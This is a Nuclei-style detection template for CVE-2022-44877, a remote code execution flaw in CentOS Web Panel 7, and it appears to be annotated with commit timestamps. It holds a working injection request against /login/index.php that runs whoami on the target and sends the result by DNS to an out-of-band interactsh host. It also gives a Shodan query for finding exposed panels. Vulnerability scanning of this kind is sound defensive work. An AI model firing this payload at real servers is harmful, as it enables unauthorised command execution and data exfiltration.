2023-01-07 07:01:12 +00:00
id : CVE-2022-44877
info :
2023-03-27 17:46:47 +00:00
name : CentOS Web Panel 7 <0.9.8.1147 - Remote Code Execution
2023-01-07 07:01:12 +00:00
author : For3stCo1d
severity : critical
description : |
2023-03-27 17:46:47 +00:00
CentOS Web Panel 7 before 0.9.8.1147 is susceptible to remote code execution via entering shell characters in the /login/index.php component. This can allow an attacker to execute arbitrary system commands via crafted HTTP requests and potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade to CentOS Web Panel version 0.9.8.1147 or later to mitigate this vulnerability.
2023-01-07 07:01:12 +00:00
reference :
2023-01-09 15:38:53 +00:00
- https://twitter.com/_0xf4n9x_/status/1612068225046675457
2023-01-07 07:01:12 +00:00
- https://github.com/numanturle/CVE-2022-44877
2023-01-10 02:01:48 +00:00
- https://gist.github.com/numanturle/c1e82c47f4cba24cff214e904c227386
2023-03-27 17:46:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-44877
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/171725/Control-Web-Panel-7-CWP7-0.9.8.1147-Remote-Code-Execution.html
2023-01-07 07:01:12 +00:00
classification :
2023-01-12 09:43:49 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-01-07 07:01:12 +00:00
cve-id : CVE-2022-44877
2023-01-12 09:43:49 +00:00
cwe-id : CWE-78
2023-10-14 11:27:55 +00:00
epss-score : 0.97422
2023-10-25 06:44:12 +00:00
epss-percentile : 0.99912
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:control-webpanel:webpanel:*:*:*:*:*:*:*:*
2023-01-07 07:01:12 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : control-webpanel
product : webpanel
2023-09-06 11:59:08 +00:00
shodan-query : http.title:"Login | Control WebPanel"
2023-07-15 16:29:17 +00:00
tags : packetstorm,cve,cve2022,centos,rce,kev
2023-01-07 07:01:12 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-01-07 07:01:12 +00:00
- raw :
- |
2023-01-09 15:38:53 +00:00
POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1
2023-01-07 07:01:12 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
username=root&password=toor&commit=Login
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : interactsh_protocol # Confirms the HTTP Interaction
2023-01-07 07:01:12 +00:00
words :
2023-01-09 15:38:53 +00:00
- "dns"
- type : word
part : body
words :
- "Login Redirect."
2023-01-07 07:01:12 +00:00
- type : status
status :
- 302
2023-01-09 15:38:53 +00:00
extractors :
- type : regex
group : 1
regex :
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2023-07-11 19:49:27 +00:00
part : interactsh_request
2023-10-25 07:11:33 +00:00
# digest: 4b0a00483046022100858b8fa04a1d67f6c71100295f989bfff4a459dbe657a09a2665f47f650f6b91022100b0ccfa5ca9ef63b829d76069ee6845366ea3c992c8e555d8b5ea09292b96ef0f:922c64590222798bb761d5b6d8e72950